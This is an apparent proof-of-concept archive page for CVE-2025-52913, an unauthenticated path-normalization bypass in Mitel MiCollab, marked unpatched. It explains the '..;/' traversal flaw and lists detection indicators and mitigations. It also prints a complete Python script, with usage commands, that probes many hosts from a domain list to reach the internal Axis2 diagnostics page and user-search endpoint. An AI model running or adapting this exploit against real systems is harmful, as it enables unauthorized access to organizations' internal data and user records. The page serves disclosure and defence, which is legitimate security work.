PoC Archive PoC Archive
Critical CVE-2025-52913 unpatched

Mitel MiCollab Path Normalization Bypass to Internal Endpoints (CVE-2025-52913)

by pgaSUS99 (PoC), vulnerability discovered by Dahmani Toumi · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-52913
Category
network
Affected product
Mitel MiCollab (unified communications appliance)
Affected versions
Per source repository (not pinned in PoC; affects vulnerable MiCollab NPM/Axis2 web components)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherpgaSUS99 (PoC), vulnerability discovered by Dahmani Toumi
CVE / AdvisoryCVE-2025-52913
Categorynetwork
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagsmitel, micollab, path-traversal, path-normalization, access-control-bypass, authentication-bypass, cwe-22, axis2, python, unified-communications
RelatedN/A

Affected Target

FieldValue
Software / SystemMitel MiCollab (unified communications appliance)
Versions AffectedPer source repository (not pinned in PoC; affects vulnerable MiCollab NPM/Axis2 web components)
Language / PlatformPython 3 PoC (uses requests); targets Mitel MiCollab’s Java-based NPM/Axis2 web application stack
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the MiCollab appliance)

Summary

Mitel MiCollab fails to properly normalize URL paths before applying access-control checks on its NPM (Network Protocol Manager) web endpoints. By appending crafted traversal sequences such as ..;/..;/ after seemingly-legitimate, unauthenticated-facing JSP/servlet paths (e.g. loginForm.jsp/), an attacker can cause the server to resolve the request into a different, normally-protected internal path — reaching the Axis2 web-services console (axis2-web/HappyAxis.jsp) or internal user-search endpoints (usp/searchUsers.do) without ever authenticating. The included PoC is an unauthenticated scanner that walks a small set of known base paths combined with traversal suffixes and flags responses that return HTTP 200 with content indicative of successful access to the internal endpoint. Impact ranges from information disclosure (server/environment details via Axis2’s Happy Axis diagnostic page) to exposure of internal user-management functionality that could support further reconnaissance or account enumeration.


Vulnerability Details

Root Cause

The MiCollab NPM/Axis2 web tier appears to apply access-control decisions based on the raw request path before the servlet container/reverse-proxy normalizes path segments. Segments like ..; (a semicolon-terminated path segment, a classic Java/Tomcat path-parameter confusion trick) are not collapsed the same way by the access-control filter as they are by the final URL dispatcher. As a result, appending ..;/..;/<internal-path> after an allowed prefix (e.g. /npm-pwg/loginForm.jsp/) causes the access-control layer to authorize based on the prefix while the underlying request is ultimately routed to the internal target path.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
BASE_PATHS = [
    "/npm-pwg/loginForm.jsp/",
    "/npm-pwg/extendedUmPlayMessage.jsp/",
    "/npm-admin/showLoginPage.do/",
    "/npm-admin/login.do/"
]

TRAVERSAL_SUFFIXES = [
    "..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp",
    "..;/..;/usp/searchUsers.do"
]

Attack Vector

  1. Identify a Mitel MiCollab instance exposed over HTTP/HTTPS.
  2. Send an unauthenticated GET request to one of the nominally public base paths (e.g. /npm-pwg/loginForm.jsp/) suffixed with a path-normalization traversal payload (e.g. ..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp).
  3. The access-control layer authorizes the request based on the allowed prefix, but the servlet container resolves the full path (after stripping ..; segments) to the protected internal endpoint, returning its content directly to the unauthenticated attacker.
  4. Repeat across the combination of base paths and traversal suffixes to enumerate which internal endpoints are reachable (Axis2 diagnostics page, internal user search).

Impact

An unauthenticated remote attacker can reach internal administrative/diagnostic endpoints (Axis2 HappyAxis.jsp, internal searchUsers.do) that are meant to be restricted, resulting in information disclosure about the server environment and internal user data, and providing a foothold for further attacks against the MiCollab appliance.


Environment / Lab Setup

Target:   Mitel MiCollab appliance (vulnerable NPM/Axis2 web tier), reachable over HTTP/HTTPS
Attacker: Python 3 + requests (see requirements.txt)

Proof of Concept

PoC Script

See POC-CVE-2025-52913.py and requirements.txt in this folder.

1
2
3
4
5
pip install -r requirements.txt

python3 POC-CVE-2025-52913.py TARGET_HOST

python3 POC-CVE-2025-52913.py domains.txt

Example output when a target is vulnerable:

[*] Testing http://TARGET_HOST
[+] http://TARGET_HOST/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
    [!] Possible success

Detection & Indicators of Compromise

Signs of compromise:

  • HTTP 200 responses containing “Axis2” / “Axis2 Happiness Page” or internal user-search output served to unauthenticated clients
  • Repeated scanning of /npm-pwg/ and /npm-admin/ paths with ..; sequences from a single source across many hosts
  • Unexpected access to axis2-web/HappyAxis.jsp or usp/searchUsers.do in appliance logs

Remediation

ActionDetail
Primary fixApply the vendor security patch for CVE-2025-52913 from Mitel once available/applied for the affected MiCollab release — see vendor advisory
Interim mitigationRestrict network access to MiCollab NPM/admin web interfaces to trusted management networks; deploy a reverse proxy/WAF rule that normalizes and rejects requests containing ..; path-parameter sequences before they reach the application

References


Notes

Mirrored from https://github.com/pgaSUS99/PoC-CVE-2025-52913 on 2026-07-06. The upstream README lists no vendor advisory link yet (“Add vendor advisory or NVD link when available”); vulnerability credited to discoverer Dahmani Toumi. The PoC is a lightweight unauthenticated scanner (no exploitation payload beyond the traversal probe itself).

POC-CVE-2025-52913.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import urljoin

BASE_PATHS = [
    "/npm-pwg/loginForm.jsp/",
    "/npm-pwg/extendedUmPlayMessage.jsp/",
    "/npm-admin/showLoginPage.do/",
    "/npm-admin/login.do/"
]

TRAVERSAL_SUFFIXES = [
    "..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp",
    "..;/..;/usp/searchUsers.do"
]

def print_help():
    print(f"Usage: {sys.argv[0]} <domain or file>")
    print("Example:")
    print(f"  {sys.argv[0]} example.com")
    print(f"  {sys.argv[0]} domains.txt")

def test_domain(domain):
    if not domain.startswith(("http://", "https://")):
        domain = "https://" + domain

    print(f"[*] Testing {domain}")
    for base in BASE_PATHS:
        for suffix in TRAVERSAL_SUFFIXES:
            test_path = base + suffix
            url = urljoin(domain, test_path)
            try:
                r = requests.get(url, timeout=8, verify=False, allow_redirects=False)
                print(f"[+] {url} - {r.status_code}")
                if "Axis2 Happiness Page" in r.text or "Axis2" in r.text or "Search Users" in r.text:
                    print(f"    [!] Possible success: {url}")
            except requests.RequestException as e:
                print(f"    [!] Error connecting to {url}: {e}")

def main():
    if len(sys.argv) != 2 or sys.argv[1] in ("-h", "--help"):
        print_help()
        sys.exit(0)

    input_arg = sys.argv[1]

    try:
        with open(input_arg, "r") as f:
            domains = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        domains = [input_arg]

    for d in domains:
        test_domain(d)

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()